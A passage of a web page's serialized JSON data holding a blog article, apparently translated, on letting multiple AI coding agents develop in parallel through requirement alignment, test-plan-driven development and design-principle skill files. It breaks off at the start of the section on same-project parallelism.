[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fhjmiNVNObtsMksEEyPNd4_5FgdN1wq_Pa73_wwEI34I":3},{"docs":4,"hasNextPage":769,"hasPrevPage":50,"limit":139,"nextPage":104,"page":15,"pagingCounter":15,"prevPage":26,"totalDocs":770,"totalPages":323},[5,113,162,218,289,339,396,445,509,573,637,700],{"id":6,"title":7,"slug":8,"description":9,"content":10,"contentHtml":25,"contentMarkdown":26,"cover":27,"author":43,"views":14,"readingTime":44,"status":45,"publishedAt":46,"seo":47,"tags":51,"qaPairs":52,"meta":110,"updatedAt":111,"createdAt":112,"_status":61},4,"Parallel Development Experience Bought with Thousands of Dollars in Tokens: Let a Group of AI Agents Write Code for You","parallel-development-experience-bought-with-thousands-of-dollars-in-tokens-let-a","How to have multiple AI agents develop in parallel without quality collapse? Learn the three main bottlenecks and how to overcome them for autonomous development.",{"root":11},{"type":12,"format":13,"indent":14,"version":15,"children":16,"direction":24},"root","",0,1,[17],{"type":18,"format":13,"indent":14,"version":15,"children":19,"direction":24},"paragraph",[20],{"mode":21,"text":22,"type":23,"style":13,"detail":14,"format":14,"version":15},"normal","\u003Chtml>\u003Chead>\u003C\u002Fhead>\u003Cbody>\u003Ch2>Introduction\u003C\u002Fh2>\u003Cp>Entering 2026, AI Coding has shifted from \"assisted completion\" to \"autonomous development.\" What truly transforms productivity is not that a single Agent writes code faster, but that you can\u003Cstrong>Launch multiple Agents simultaneously\u003C\u002Fstrong>, letting them advance different tasks for you in parallel.\u003C\u002Fp>\u003Cp>It's worth noting that what can be parallelized goes far beyond just writing code. As Agents can do more and more—researching, data analysis, writing documents, running tests, replying to emails, designing—almost all mental work that can be broken into independent subtasks has the potential for parallelization. This article only focuses on\u003Cstrong>development\u003C\u002Fstrong>this most mature scenario; but if you are doing other work, the ideas here can be transferred for consideration.\u003C\u002Fp>\u003Cp>Back to development. The core question this article aims to answer is:\u003Cstrong>How to have multiple AI Agents develop in parallel while ensuring output quality does not collapse?\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>To answer this question, we first need to understand:\u003Cstrong>What is blocking parallelism?\u003C\u002Fstrong>\u003C\u002Fp>\u003Ch2>Three Main Bottlenecks\u003C\u002Fh2>\u003Cp>\u003Cstrong>TL;DR:\u003C\u002Fstrong>&nbsp;What really limits AI development efficiency is not that AI writes slowly, but three links that require deep human involvement—they turn humans into single points of bottleneck, no matter how many Agents there are.\u003C\u002Fp>\u003Cp>\u003Cstrong>Bottleneck 1: How to clearly convey requirements to the Agent?\u003C\u002Fstrong>&nbsp;The ideas in your mind are vague, implicit, and full of context, while the Agent needs clear, executable instructions. The gap in between often needs to be filled through repeated communication.\u003C\u002Fp>\u003Cp>\u003Cstrong>Bottleneck 2: How to ensure that the code written by the Agent is functionally correct?\u003C\u002Fstrong>&nbsp;The code generated by the Agent looks plausible, but when actually run, it may have bugs everywhere. In the past, we relied on humans to review every line of code, find issues, provide feedback, and modify, repeating this process.\u003C\u002Fp>\u003Cp>\u003Cstrong>Bottleneck 3: How to ensure code maintainability?\u003C\u002Fstrong>&nbsp;Code written by one Agent might run at the moment, but without reasonable architectural design and engineering standards, as the project progresses, the codebase quickly becomes a mess—chaotic structure, unclear responsibilities, changing one place breaks three.\u003C\u002Fp>\u003Cp>These three bottlenecks share a common feature: they all require a human-in-the-loop. And human attention is serial and limited. That's why in the past, even if you could launch five Agents simultaneously, efficiency wouldn't increase by five times—because you still had to review their outputs one by one, communicate requirements one by one, and control the architectural direction one by one.\u003Cstrong>Parallel Agents ultimately get stuck at the human single-point bottleneck.\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"IMG_256\" src=\"\u002Fuploads\u002Fdocx_image_1777386378569_0_3a225796d8.png\">\u003C\u002Fp>\u003Ch2>2025 and Before: Human is the Driver, AI is the Co-pilot\u003C\u002Fh2>\u003Cp>\u003Cstrong>TL;DR:\u003C\u002Fstrong>&nbsp;The common point of solutions before Opus 4.5 was \"better collaboration between humans and AI\" rather than \"letting AI handle things on its own\"—human is the driver, AI is the co-pilot, parallelism is meaningless, it just turns queuing into concurrent queuing.\u003C\u002Fp>\u003Cp>Before the second half of 2025, the industry's solution to these three bottlenecks had a common theme: let humans and AI collaborate better, rather than letting AI finish things on its own—human is the driver, AI is the co-pilot (Copilot), parallel development had not yet arrived.\u003C\u002Fp>\u003Cp>In\u003Cstrong>Requirement Delivery\u003C\u002Fstrong>In terms of aspects, there are two mainstream approaches. One is the Spec-based approach, which uses formal documents to describe requirements as precisely as possible before handing them over to the Agent for execution; the other is through multi-turn conversations, repeatedly negotiating with the Agent until it truly understands what you want. Both approaches require continuous human involvement.\u003C\u002Fp>\u003Cp>In\u003Cstrong>correctness assurance\u003C\u002Fstrong>aspects, it largely relies on manual code review. Humans review the code generated by the Agent section by section, identify logical flaws or boundary omissions, and then feed the review comments back to the Agent. After several rounds of revisions, usable code is finally produced.\u003C\u002Fp>\u003Cp>In\u003Cstrong>maintainability assurance\u003C\u002Fstrong>aspects, architecture design and code organization remain human-led work. You need to tell the Agent which module the code should go into, which design pattern to use, and which layering principles to follow; otherwise, the Agent will improvise on its own, producing code with a wide variety of structures.\u003C\u002Fp>\u003Cp>At this stage, true \"autopilot\" has not yet arrived. Therefore, AI Coding products in this period mostly focus on optimizing the human-AI collaboration interface: helping you discuss requirements more efficiently (e.g., early CodeBuddy, various Spec-based programming tools), or making code review more convenient (e.g., IDE products like Cursor).\u003C\u002Fp>\u003Cp>Parallel development doesn't make much sense at this stage—\u003Cstrong>Even if you open five Agent windows, they're all waiting for you to review code, answer questions, and confirm solutions.\u003C\u002Fstrong>\u003C\u002Fp>\u003Ch2>2025 H2: A Leap in Capabilities\u003C\u002Fh2>\u003Cp>\u003Cstrong>TL;DR:\u003C\u002Fstrong> In the second half of 2025, frontier models collectively leaped in four directions: debugging, instruction following, Skill rules, and Computer Use. For the first time, mechanisms can replace humans in addressing the three previous bottlenecks; at the same time, failure becomes cheaper, and \"try multiple paths in parallel and pick the best\" becomes a basic approach.\u003C\u002Fp>\u003Cp>In the second half of 2025, frontier models made a significant collective leap in code ability, instruction following, and long-horizon task completion—exemplified by models like Opus 4.5, which for the first time allow mechanisms to replace deep human involvement in addressing the three previous bottlenecks. In other words, truly parallel development finally has the prerequisites.\u003C\u002Fp>\u003Cp>This leap is specifically embodied in four directions:\u003C\u002Fp>\u003Cp>\u003Cstrong>Significant improvement in autonomous debugging.\u003C\u002Fstrong> As long as the Agent is given a runnable debugging environment (terminal, logs, test framework), it can autonomously locate and fix most common bugs encountered in daily development. In the past, humans had to point out \"there's an off-by-one error here\"; now the Agent runs tests, reads error messages, and traverses several layers of the call stack by itself to resolve the issue.\u003C\u002Fp>\u003Cp>\u003Cstrong>\"Understanding correctly\" more easily translates into \"implementing correctly.\"\u003C\u002Fstrong> If the Agent has no deviation in understanding the requirements and is given a test environment and clear acceptance criteria, then the code it writes, after autonomous testing and fixing, can be basically guaranteed to be functionally correct in common business scenarios. Non-functional requirements (concurrency, performance, security) and architectural trade-offs remain exceptions, as discussed later.\u003C\u002Fp>\u003Cp>\u003Cstrong>Engineering norms can be partially internalized through Skills.\u003C\u002Fstrong> Providing the Agent with structured Skill files containing software engineering practices—naming, layering, module boundaries, commit conventions, etc.—enables it to comply with the\u003Cstrong>vast majority\u003C\u002Fstrong>. Note it's \"vast majority\": many design principles inherently conflict with each other, and even senior engineers often struggle to judge them. The Agent will also make mistakes in such trade-offs. This point will be elaborated on later.\u003C\u002Fp>\u003Cp>\u003Cstrong>General Computer Use capability has greatly improved.\u003C\u002Fstrong> The Agent is no longer limited to reading and writing code files. It can smoothly interact with the terminal, browse the web to look up documentation, operate GUIs to complete configuration tasks, and some have even used the Agent as an advanced shell. A direct consequence is that many software installation and environment configuration documents are becoming \"for the Agent to read\"—a Markdown file, and the Agent can automatically set up the environment.\u003C\u002Fp>\u003Cp>These four changes combined mean:\u003Cstrong>Humans can largely step back from the loop.\u003C\u002Fstrong> It's not complete non-participation, but the mode of participation shifts from \"line-by-line review\" to \"setting rules + accepting results + spot-checking key nodes.\" This opens the door to truly parallel development.\u003C\u002Fp>\u003Ch3>One additional hidden change: Failure becomes cheap\u003C\u002Fh3>\u003Cp>In addition to the four \"capability\" changes above, there is one more\u003Cstrong>At the strategic level\u003C\u002Fstrong>the change is worth discussing separately:\u003Cstrong>The cost of having an Agent try a solution is much lower than that of having a human try one.\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Before AI, you wouldn’t easily let an engineer \"implement version A first, then version B\" — human labor is too expensive to bear. So in the design phase, you had to think through all the trade-offs carefully; starting without clarity was a luxury. With Agents, this constraint has loosened —\u003Cstrong>\"Can’t figure it out? Then have several Agents each write one implementation, run tests, compare results, and then decide.\"\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>This seems like a mere quantitative change, but it actually triggers a qualitative shift in strategy — \"try multiple paths in parallel and pick the best\" has gone from a rare practice to a daily option. This principle runs through the various parallel modes later in this article: in many scenarios you parallelize not because tasks can be cleanly split, but because\u003Cstrong>trying is cheaper than thinking it through\u003C\u002Fstrong>. The \"Mode 2\" mentioned later, where \"let Agents each write one implementation and merge the best ones,\" is a direct embodiment of this.\u003C\u002Fp>\u003Ch2>Three Keys to Reducing Human Involvement\u003C\u002Fh2>\u003Cp>\u003Cstrong>Since the bottleneck lies in human involvement, the solution is to replace real-time human intervention with mechanisms.\u003C\u002Fstrong> The following three sections correspond to the three bottlenecks and provide specific practices — together, they form the foundation for parallel development.\u003C\u002Fp>\u003Cp>A word of caution:\u003Cstrong>None of these three keys are \"plug-and-play\" — each requires you and the project Agent to iterate and calibrate together.\u003C\u002Fstrong> What accumulates during this calibration process is more than just one thing — Skill files are the most explicit, capturing pitfalls, project conventions, and patterns where Agents tend to make mistakes; but there are also things that can only exist as\u003Cstrong>intuition and feel\u003C\u002Fstrong>that stay with you: what types of tasks the Agent is reliable on, where you must keep an eye, and when its confidence should be discounted. These feelings are hard to express in documents, but they are decisive for how much you can let go. Before calibration is complete, you can't be optimistic; after calibration, you can truly let go.\u003C\u002Fp>\u003Cp>Regarding tools: I have distilled my practices along these lines into a framework called\u003Ca href=\"https:\u002F\u002Fgithub.com\u002FA7um\u002Fzero-review\">zero-review\u003C\u002Fa> as a reference implementation. At the end of each key below, I will point to the corresponding skill; readers who need details can look there. But once again —\u003Cstrong>This article is about the approach, not the framework; you can achieve the same effect with your own stack.\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"IMG_257\" src=\"\u002Fuploads\u002Fdocx_image_1777386380353_1_741ecc84ad.png\">\u003C\u002Fp>\u003Ch3>First Key: Requirement Alignment — Let the Agent Figure Out What You Want\u003C\u002Fh3>\u003Cp>\u003Cstrong>TL;DR:\u003C\u002Fstrong> Let the Agent identify the implicit assumptions in the requirements and produce several complete solutions sorted by priority for you to choose from — you shift from being the \"answerer of questions\" to the \"reviewer of solutions.\"\u003C\u002Fp>\u003Cp>Unclear requirements are the most common cause of rework in AI development. You think you've made it clear, the Agent thinks it understood, but the result is completely different from what you had in mind. To solve this, there are two complementary approaches.\u003C\u002Fp>\u003Cp>\u003Cstrong>Approach 1: Exhaustive Questioning — Let the Agent Proactively Expose Blind Spots\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>The specific operation is: first, describe what you want as clearly as possible in natural language, then switch to Plan mode (or equivalently, explicitly tell the Agent not to start coding) and make a request: \"Before you do anything, tell me: what are your uncertainties about this requirement? List your questions.\"\u003C\u002Fp>\u003Cp>The Agent will give you a set of questions. You answer them one by one, but do not let it start planning or coding — continue asking: \"Based on my answers, are there any new uncertainties? Keep asking.\" It's like a requirements review meeting: you are the product manager, and the Agent is the developer continuously probing for details.\u003C\u002Fp>\u003Cp>This process can last from 10 minutes to half an hour, depending on the complexity of the requirements. When the Agent's questions start to become trivial or repetitive, it means the core ambiguities have been covered. At that point, ask it to output a structured requirements document as the basis for subsequent development.\u003C\u002Fp>\u003Cp>\u003Cstrong>Approach 2: Solution Generation + Human Selection — Let the Agent Guess Your Intentions, You Just Pick\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Exhaustive questioning, though thorough, is time-consuming and essentially still involves humans outputting information. The second approach is more efficient: let the Agent fill in the blanks in the requirements itself.\u003C\u002Fp>\u003Cp>Here's how it works: You still start by providing a natural language requirements description, but this time you don't answer the Agent's questions. Instead, you give it a different instruction: \"Analyze my requirements description, identify parts that are vague, undefined, or have multiple reasonable interpretations. Then for each such ambiguity, based on your world knowledge (if needed, search online for how similar products handle it), give the top 3 most reasonable solutions in your opinion, and explain why you recommend them.\"\u003C\u002Fp>\u003Cp>For example: if you say \"Create a user registration feature\", the Agent will identify a series of issues you didn't mention but must decide—register with email or phone number? Is email verification needed? What are the password complexity requirements? What should the registration failure message look like? Then it will refer to mainstream product practices (e.g., \"most SaaS products use email registration + email verification link\") and give recommended solutions for each issue.\u003C\u002Fp>\u003Cp>The core advantage of this approach is:\u003Cstrong>You change from being the \"answerer of questions\" to the \"reviewer of solutions\".\u003C\u002Fstrong> Reviewing solutions is much faster than answering questions—you just glance and say \"OK, go with your recommendation\" or \"Change the third one to this.\" A large amount of requirement details are automatically filled by the Agent based on prior knowledge, with humans only making choices at key decision points.\u003C\u002Fp>\u003Cp>The two approaches can be combined. For core requirements where you already have a clear idea, use approach 1 for thorough communication; for peripheral requirements where you don't care much about the specific implementation, use approach 2 to let the Agent make autonomous decisions. The final output is a complete requirements document covering all necessary details, which can be directly handed to the Agent for execution without repeated confirmation during development.\u003C\u002Fp>\u003Cp>It should be particularly noted:\u003Cstrong>Requirements alignment is the only step in the entire process that cannot be truly parallelized\u003C\u002Fstrong>—it consumes your deep attention. This constraint will be mentioned again later when discussing parallel scheduling.\u003C\u002Fp>\u003Cp>For specific practice, refer to \u003Ca href=\"https:\u002F\u002Fgithub.com\u002FA7um\u002Fzero-review\u002Ftree\u002Fmain\u002Fskills\u002Fauto-req\">zero-review\u002Fauto-req\u003C\u002Fa> skill.\u003C\u002Fp>\u003Ch3>Second Key: Functional Correctness—Test Plan-Driven Development\u003C\u002Fh3>\u003Cp>\u003Cstrong>TL;DR:\u003C\u002Fstrong> Before development, write a complete test plan covering unit\u002Fintegration\u002FE2E; the test plan must be independently reviewed by another party (another Agent or you) to prevent the same Agent from contaminating both test and implementation. Write a separate Skill for non-functional requirements.\u003C\u002Fp>\u003Cp>Humans no longer review code line by line, so who ensures the code is correct? The answer: testing. But not just a few arbitrary tests—instead, produce a complete test plan before development.\u003C\u002Fp>\u003Cp>\u003Cstrong>Here's how:\u003C\u002Fstrong> Before the Agent writes any business code, have it output a test plan based on the requirements document. This test plan should cover three levels: unit tests, verifying the behavior of each function and module; integration tests, verifying that module collaboration meets expectations; end-to-end functional tests, simulating real user operation paths to verify the entire functional flow works.\u003C\u002Fp>\u003Cp>These test cases represent \"all conditions that a correct implementation must satisfy.\" They are determined before development begins and become the acceptance criteria during the Agent's development process. After the Agent completes code writing, it runs these tests on its own. If any test fails, the Agent automatically enters a debug-fix loop until all tests pass.\u003C\u002Fp>\u003Cp>In this mode, you don't need to read every line of code written by the Agent. You only need to review whether the test plan itself is reasonable and covers key scenarios. The cognitive cost of reviewing a test plan is far lower than reviewing implementation code—because the test plan describes \"what should happen,\" while the implementation code describes \"how to do it specifically.\" As the requirements proposer, you naturally have judgment on the former, while the latter requires deep understanding of code details.\u003C\u002Fp>\u003Ch4>Prerequisite: Only when the Agent can act can testing be discussed\u003C\u002Fh4>\u003Cp>The Agent runs tests, debugs, and does end-to-end on its own—all of this is built on a frequently omitted prerequisite:\u003Cstrong>It needs an environment where it can actually operate the system.\u003C\u002Fstrong> Many teams give the Agent a docker with only source code, and then wonder why the Agent can't detect problems.\u003C\u002Fp>\u003Cp>\"Being able to operate\" is not just \"having a docker image that can run.\" You need to expose the corresponding operational capabilities to the Agent based on the application type:\u003Cstrong>operational capabilities\u003C\u002Fstrong> expose to the Agent together:\u003C\u002Fp>\u003Cul>\u003Cli>\u003Cstrong>Command line \u002F API\u003C\u002Fstrong> — shell + logs + testing framework, lowest threshold.\u003C\u002Fli>\u003Cli>\u003Cstrong>Web Application\u003C\u002Fstrong> — besides making the service run, you must expose\u003Cstrong>browser use capability\u003C\u002Fstrong>(Playwright service, headless Chrome with CDP endpoint, or VNC). Without this layer, the Agent cannot actually click buttons, cannot see page responses, and cannot perform real end-to-end testing.\u003C\u002Fli>\u003Cli>\u003Cstrong>Desktop \u002F GUI Application\u003C\u002Fstrong> — must expose\u003Cstrong>GUI use capability\u003C\u002Fstrong>(X11 forwarding, xdotool, screenshot pipeline). Otherwise the Agent can only \"imagine\" what user operations look like.\u003C\u002Fli>\u003Cli>\u003Cstrong>Complex System\u003C\u002Fstrong>(state machine, asynchronous, concurrent, long-running processes) — besides logs,\u003Cstrong>must expose a debugger\u003C\u002Fstrong>(gdb \u002F DAP \u002F Chrome DevTools Protocol \u002F language's built-in debugger). Let it set breakpoints, inspect variables, view call stacks, instead of guessing by piling print statements in bash.\u003C\u002Fli>\u003C\u002Ful>\u003Cp>A simple self-check:\u003Cstrong>Imagine a new engineer who can only use the tools you provided — can they reproduce a live bug?\u003C\u002Fstrong> If they cannot, the Agent cannot either.\u003C\u002Fp>\u003Cp>The capabilities given to the Agent must align with those given to the engineer. This is the foundation on which TPDD itself can stand — if the provisioning is insufficient, all the subsequent test plans, independent reviews, and role-playing are just empty talk.\u003C\u002Fp>\u003Ch4>Why the test plan must have an independent review\u003C\u002Fh4>\u003Cp>Here is a trap that is easy to overlook: if both the test plan and the implementation are given to\u003Cstrong>the same\u003C\u002Fstrong> Agent to complete, then its understanding bias of the requirements will\u003Cstrong> simultaneously contaminate both the tests and the code\u003C\u002Fstrong> — the tests and code will both err, both pass with green lights, and you still think everything is OK.\u003C\u002Fp>\u003Cp>This is the biggest logical flaw in the TPDD paradigm.\u003Cstrong>The solution is: the test plan must go through an \"independent\" review before entering the implementation phase.\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>\"Independent\" has at least two ways to achieve it —\u003C\u002Fp>\u003Cul>\u003Cli>\u003Cstrong>Human review\u003C\u002Fstrong>. You, as the requester of the requirements or a senior colleague, review from a business perspective. The advantage is that you bring domain knowledge and business judgment; the disadvantage is that it consumes your deep attention and cannot be parallelized.\u003C\u002Fli>\u003Cli>\u003Cstrong>Review by another Agent\u003C\u002Fstrong>. Start a brand new session of an Agent, give it only the requirements document and the test plan (not the implementation context), and let it find flaws. Essentially, it is multi-Agent cross-validation — the understanding bias of one Agent is unlikely to completely coincide with the bias of another fresh Agent, so it can catch a considerable portion of errors caused by \"understanding bias\". The advantages are low cost, parallelism, and no fatigue; the disadvantage is that its business perspective is still second-hand.\u003C\u002Fli>\u003C\u002Ful>\u003Cp>\u003Cstrong>The two review methods are not mutually exclusive; they can be used in combination based on project complexity.\u003C\u002Fstrong>:\u003C\u002Fp>\u003Cul>\u003Cli>\u003Cstrong>Low complexity, controllable risk projects\u003C\u002Fstrong>(Internal tools, prototypes, exploratory experiments) — Just have another Agent review it; you glance at the conclusion to confirm the general direction hasn't gone astray.\u003C\u002Fli>\u003Cli>\u003Cstrong>High complexity, high cost of mistakes projects\u003C\u002Fstrong>(Critical online paths, finance-related, core modules with multi-person collaboration) — Agent first reviews to filter out obvious pitfalls, then you conduct a business perspective review, paying special attention to three blind spots: (a) Are all boundary conditions covered? (b) Are error paths and exception branches covered? (c) Does the test actually verify \"what should happen\" rather than \"what already happened\" (self-loop)?\u003C\u002Fli>\u003C\u002Ful>\u003Cp>In other words, the review step cannot be omitted, but the subject and depth of the review should match the project complexity.\u003Cstrong>The most critical point is \"independence\" — the reviewer must not be the same Agent in the same session that writes the tests and implementation. As long as this rule is followed, contamination can most likely be blocked.\u003C\u002Fstrong>\u003C\u002Fp>\u003Ch4>Scenarios not covered by functional tests: write dedicated Skills\u003C\u002Fh4>\u003Cp>Basic unit\u002Fintegration\u002Fend-to-end tests address \"functional correctness.\" But there are several types of requirements in a project that are not functional,\u003Cstrong>the default test plan does not cover them\u003C\u002Fstrong>:\u003C\u002Fp>\u003Cul>\u003Cli>\u003Cstrong>Non-functional requirements\u003C\u002Fstrong>— concurrency race, performance bottlenecks, memory leaks, security boundaries.\u003C\u002Fli>\u003Cli>\u003Cstrong>Behavior after long-term evolution\u003C\u002Fstrong>— a piece of code passes all tests today, but after ten iterations over six months, it may fall apart.\u003C\u002Fli>\u003C\u002Ful>\u003Cp>The solution still follows the approach of the second key:\u003Cstrong>Write the testing paradigms for these specific domains as dedicated Skill files and let the Agent execute them on its own.\u003C\u002Fstrong> A few examples —\u003C\u002Fp>\u003Cul>\u003Cli>\u003Cstrong>Stress Testing Skill\u003C\u002Fstrong>: tell the Agent how to construct high-concurrency load, how to observe p50\u002Fp99\u002Fp999, how to identify degradation curves, and what SLA breakpoints are. It can set up k6\u002Flocust\u002Fwrk environments on its own, run through preset stress levels, and generate reports with charts.\u003C\u002Fli>\u003Cli>\u003Cstrong>Chaos Testing Skill\u003C\u002Fstrong>: define which dependencies (database, downstream services, network) are subject to random fault injection; the Agent simulates kill, latency, packet loss, etc., according to rules, to verify system degradation and recovery.\u003C\u002Fli>\u003Cli>\u003Cstrong>Security Testing Skill\u003C\u002Fstrong>: automated detection logic for common vulnerability types (XSS, SQLi, privilege escalation, CSRF...). The Agent scans common attack surfaces like a junior penetration tester.\u003C\u002Fli>\u003Cli>\u003Cstrong>Regression Evolution Testing Skill\u003C\u002Fstrong>: run a periodic \"architecture degradation self-check\" on key modules in CI — whether files have become too large, whether single-function complexity exceeds thresholds, whether inter-module dependencies have formed cycles. This can catch some early signs of problems that only emerge after long-term evolution.\u003C\u002Fli>\u003C\u002Ful>\u003Cp>The design philosophy of these Skills is consistent with the earlier TestPlan:\u003Cstrong>First, clearly describe in a structured way what \"doing it right\" looks like in this domain, then let the Agent execute independently\u003C\u002Fstrong>. The process of writing a Skill itself is an opportunity to consolidate domain knowledge.\u003C\u002Fp>\u003Cp>There is one more category that Skills cannot solve:\u003C\u002Fp>\u003Cp>The \"cannot see\" of each role is the essence--\u003Cstrong>Forcing the agent to see and report through that role's eyes\u003C\u002Fstrong>Under the novice role, the agent can only write \"clicked save, page went white for 5 seconds\"--it cannot write \"initialization failed\" because it simply cannot see the console. This ensures the feedback truly reflects what that type of user would report, not a second-hand translation from an engineer's perspective. Different roles expose completely different problems: novices expose obscure terminology and broken main flows, experienced users expose missing shortcuts, and adversarial users expose input validation vulnerabilities and abnormal crashes.\u003C\u002Fp>\u003Cp>For specific practices, refer to the \u003Ca href=\"https:\u002F\u002Fgithub.com\u002FA7um\u002Fzero-review\u002Ftree\u002Fmain\u002Fskills\u002Fauto-test\">zero-review\u002Fauto-test\u003C\u002Fa> skill.\u003C\u002Fp>\u003Ch3>Third key: Maintainability--Constraining Agent behavior with engineering discipline\u003C\u002Fh3>\u003Cp>\u003Cstrong>TL;DR:\u003C\u002Fstrong> Write the design principles of \"good code\" into the Skill file, so that the agent can check each item when coding and self-reviewing; leave the architectural trade-offs for you to spot-check.\u003C\u002Fp>\u003Cp>Correctness is guaranteed by testing, but what about maintainability? By rules.\u003C\u002Fp>\u003Cp>There is a set of time-tested core principles in software design (largely influenced by John Ousterhout's *A Philosophy of Software Design*), and they share one common goal:\u003Cstrong>Control the growth of complexity\u003C\u002Fstrong>In the context of AI development, these principles can be encoded into Skill files and injected into the agent, giving it a basis for coding and self-review. The most critical ones are as follows:\u003C\u002Fp>\u003Cp>\u003Cstrong>Module depth.\u003C\u002Fstrong> Good modules have simple external interfaces and deep internal functionality. Agents naturally tend to over-split--cutting classes very small and fine, creating a bunch of shallow modules. Clearly tell it: don't split for the sake of splitting; each module should hide enough complexity behind a concise API.\u003C\u002Fp>\u003Cp>\u003Cstrong>Information hiding.\u003C\u002Fstrong> Modules should not share their internal implementation knowledge with each other. A common anti-pattern is to split modules chronologically (\"do A first, then B, so split into two\"), which almost inevitably leads to information leakage--the basis for splitting should be \"who owns this knowledge\", not the execution order.\u003C\u002Fp>\u003Cp>\u003Cstrong>Abstraction layering.\u003C\u002Fstrong> Each layer should provide a different mental model. If a layer merely forwards calls unchanged to the next layer, it has no reason to exist. More importantly, complexity should be pushed downward--lower-level modules proactively take on more processing, keeping upper-level code simple.\u003C\u002Fp>\u003Cp>\u003Cstrong>Cohesion and separation.\u003C\u002Fstrong> Code that must be understood together to make sense should be together; mixing general logic with special-case logic in a way that makes both hard to understand should be separated. Avoid producing coupled code where \"the current function cannot be understood without reading another function entirely\".\u003C\u002Fp>\u003Cp>\u003Cstrong>Error handling.\u003C\u002Fstrong> The proliferation of exceptions is a hidden killer of complexity. Good design tries to \"define away errors\"--by adjusting semantics or designing default behaviors to reduce places where exceptions need to be handled, rather than sprinkling try-catch everywhere.\u003C\u002Fp>\u003Cp>\u003Cstrong>Naming and obviousness.\u003C\u002Fstrong> Code should allow readers to correctly guess what it does at first glance. Naming must be precise, consistent throughout the codebase, and should not violate the reader's intuition--any developer new to the project should not be \"surprised\" when reading the code.\u003C\u002Fp>\u003Cp>\u003Cstrong>Documentation and comments.\u003C\u002Fstrong> Comments should describe what the code itself cannot express--design intent, why a particular solution was chosen, the abstract semantics of an interface. Repeating what the code already says is redundant; missing what the code cannot say is lacking; both are bad comments.\u003C\u002Fp>\u003Cp>\u003Cstrong>Strategic design.\u003C\u002Fstrong> Every modification should be an investment in the overall design, not a tactical quick patch. Resist the temptation to \"just make it work first\"--time saved by shortcuts will eventually be paid back exponentially in complexity. At the same time, be wary of over-design: solve the problem at hand; do not build unused abstractions for hypothetical future needs.\u003C\u002Fp>\u003Ch4>A fact that must be acknowledged: these principles themselves pull against each other.\u003C\u002Fh4>\u003Cp>The above eight principles are not a checklist that can be mechanically applied. There is inherent tension among them:\u003C\u002Fp>\u003Cul>\u003Cli>\u003Cstrong>Deep Module\u003C\u002Fstrong>Says 'deep functionality, simple interface';\u003Cstrong>Small and Composable\u003C\u002Fstrong>Says 'a module does only one thing.' These two often conflict on 'how large a class should be.'\u003C\u002Fli>\u003Cli>\u003Cstrong>Strategic Design\u003C\u002Fstrong>Says 'invest a bit more this time for the future';\u003Cstrong>Beware of Over-Design\u003C\u002Fstrong>Says 'don't build abstractions for hypothetical requirements.' There is no standard answer for the boundary between these two.\u003C\u002Fli>\u003Cli>\u003Cstrong>Information Hiding\u003C\u002Fstrong>Says 'don't leak internals'; but excessive hiding can lead to\u003Cstrong>Shallow Module\u003C\u002Fstrong>(the interface doesn't reveal what it can do).\u003C\u002Fli>\u003C\u002Ful>\u003Cp>Even experienced human engineers can repeatedly make wrong judgments on these trade-offs — relying on an Agent to consistently get it right with just a Skill file is not yet supported by evidence.\u003Cstrong>The reality is: An Agent can get it right in most routine cases; the remaining part still requires you to spot-check, especially architecture-level decisions and long-term maintenance choices.\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Which areas are most error-prone and which principles are especially important in your project — these are things that gradually settle into the Skill file through iteration. For example: if you find the Agent repeatedly chooses excessive decomposition in a certain type of scenario (e.g., creating five classes for a small feature every time), then write this counterexample into the Skill — 'In this project, don't decompose X-type scenarios into more than N classes.'\u003Cstrong>The Skill library grows with the project; this is a continuous investment, not a one-time effort.\u003C\u002Fstrong>\u003C\u002Fp>\u003Ch4>Three Phases of Actual Operation\u003C\u002Fh4>\u003Cp>After the Agent receives the requirements document and test plan, it first performs code structure and architectural design based on the above principles (module division, interface definition, abstraction levels, file organization); then it executes development and testing; finally, it conducts a round of self-review and adjustment against these principles, checking for shallow modules, information leakage, intermediate layers that only forward without doing work, naming inconsistencies, and other issues, and corrects them on its own.\u003C\u002Fp>\u003Cp>What you need to do is to write these design principles into a Skill file, load it when the Agent starts; and after the Agent's self-review results are out, perform a spot-check on architectural decisions. As the iteration deepens, the number of spot-checks will decrease.\u003C\u002Fp>\u003Cp>For specific practice, refer to \u003Ca href=\"https:\u002F\u002Fgithub.com\u002FA7um\u002Fzero-review\u002Ftree\u002Fmain\u002Fskills\u002Fauto-dev\">zero-review\u002Fauto-dev\u003C\u002Fa> skill.\u003C\u002Fp>\u003Ch2>Scheduling Techniques for Parallel Development\u003C\u002Fh2>\u003Cp>\u003Cstrong>TL;DR:\u003C\u002Fstrong> Three stable patterns from coarse to fine — cross-project \u002F same repo different directions (git worktree isolation) \u002F same task different concerns; plus an experimental cutting-edge 'Agent splits tasks and runs in parallel'. They are not mutually exclusive and can be nested.\u003C\u002Fp>\u003Cp>The three keys solve the question 'can we let go of a single Agent'; in this section, we can finally talk about\u003Cstrong>how to let go of multiple Agents at the same time\u003C\u002Fstrong>.\u003C\u002Fp>\u003Cp>Depending on the granularity of parallelism, there are three modes that can be stably used today (and a fourth mode currently in the experimental stage, discussed separately later).\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"IMG_258\" src=\"\u002Fuploads\u002Fdocx_image_1777386381095_2_6f1e27c712.png\">\u003C\u002Fp>\u003Ch3>Mode 1: Cross-project Parallelism – Different repos, different Agents\u003C\u002Fh3>\u003Cp>\u003Cstrong>Coarsest granularity, most worry-free parallelism.\u003C\u002Fstrong> Several independent projects at hand, each starts an Agent to drive its own development tasks. There are no code dependencies between projects, and no coordination needed between Agents. You just need to align requirements for each project separately, then let them execute independently.\u003C\u002Fp>\u003Cp>This mode has almost no additional management overhead. The only thing to watch is to allocate your attention wisely – rotate among projects during the requirements alignment phase, rather than doing them one after another in sequence. A practical rhythm: give requirements to Project A's Agent and let it generate a test plan; in that gap, switch to Project B for requirements alignment; once Project B's Agent starts working, come back to review Project A's test plan. Like a tech lead shuttling between multiple meeting rooms.\u003C\u002Fp>\u003Ch3>Mode 2: Same project, different directions – 